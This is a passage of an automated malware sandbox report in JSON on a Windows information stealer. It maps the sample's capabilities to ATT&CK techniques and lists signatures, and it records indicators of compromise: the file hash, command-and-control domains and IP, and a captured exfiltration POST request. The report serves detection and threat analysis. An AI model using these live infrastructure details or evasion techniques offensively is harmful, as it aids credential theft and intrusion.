algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"},{"type":"malicious","value":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains possible references to Golang crypto modules"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$29","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\" tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\" has section name .rsrc with entropy \"7.9468453215012875\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\" has resource with unusual entropy \"RT_ICON:7.50203651588618\"\n \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\" has resource with unusual entropy \"RT_ICON:7.788659309606911\"\n \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\" has resource with unusual entropy \"RT_ICON:7.924567263848759\"\n \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\" has resource with unusual entropy \"RT_ICON:7.972169866153766\"\n \"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin\" has resource with unusual entropy \"RT_ICON:7.975858780872057\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$40","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\" \"tag=e2594a3807f783efa9eb7456157a6318&exp=1781459259&hwid=42ee7181e3848a6538cddddbb06e598d\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":47,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["remusstealer","commodity","criminal","informationstealer","malicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6a32593ab593dbce9601b04e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU"],"submit_name":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin","analysis_start_time":"2026-06-17T08:22:19+00:00","indicators_count":{"informative":138,"suspicious":20,"malicious":4},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"139.59.137.44","port":4219,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}],"dns_resolutions":[{"domain":"carogra.biz","address":"139.59.137.44","ttl":300,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"domain":"pickad.shop","ttl":1800,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}],"http_requests":[{"host":"carogra.biz:4219","host_ip":"139.59.137.44:4219","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nContent-Length: 46\nHost: carogra.biz:4219","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}],"processes":[{"pid":4752,"ppid":0,"name":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin.exe","command_line":"","sha256":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6","normalized_path":"C:\\e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin.exe","uid":"00000000-00004752","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABiUlEQVR4Xu2TTUsCURiFb0GLiHYRIbRoIYSr2rQoXEVWCxUqP7J008diNCQoKHLlQiOEisSi2pT2u/oHUdSdeRfB6XUuyiiEi2ZGgnngMswHc865571CeHh4/EcigtD9zFX6bqBFrF9G1oSOqJCmeER8uWeiHFKJw5w8LoAUL3Wvrq5QTUkcTEmEeQcSnD4qDFN8Wbw6a6IWU+lfsoS7jI7rkO6soJVSUIk1WPwhLXG1ChRmJbQJg2t4axsJOFXFbUKlf94nVNcJ5Xkdp36J/BjPwYDBVUg28o6kEwNZWVTp6xrhPk2oLBGKM4TjSR17QxKb4tscxoRwsJJ6zsATp7+JEs4XCGfThNwoIWOeBp1NqCPpKI+c/nKFUJojHPkIu4PEwsTbrlb397ZT25C44DpO/ARthJBm0YRQJrq/7cSGwWzkVb+FgMThuMQOD14r/VZPAzZRDKqetWFgmztPcveubL2VrO+jLdic/KYJ6/vfsaEGK3Hx2fHDZE+BXu//SNyNY+jh4eEUP3tw6zZ4t074AAAAAElFTkSuQmCC"}],"all_imported_dlls":["combase.dll","imm32.dll","powrprof.dll","sspicli.dll","winnsi.dll","dnsapi.dll","OnDemandConnRouteHelper.dll","ucrtbase.dll","win32u.dll","winhttp.dll","IPHLPAPI.DLL","ntdll.dll","kernel32.dll","user32.dll","bcrypt.dll","webio.dll","mswsock.dll","apphelp.dll","shlwapi.dll","kernel.appcore.dll","uxtheme.dll","gdi32full.dll","advapi32.dll",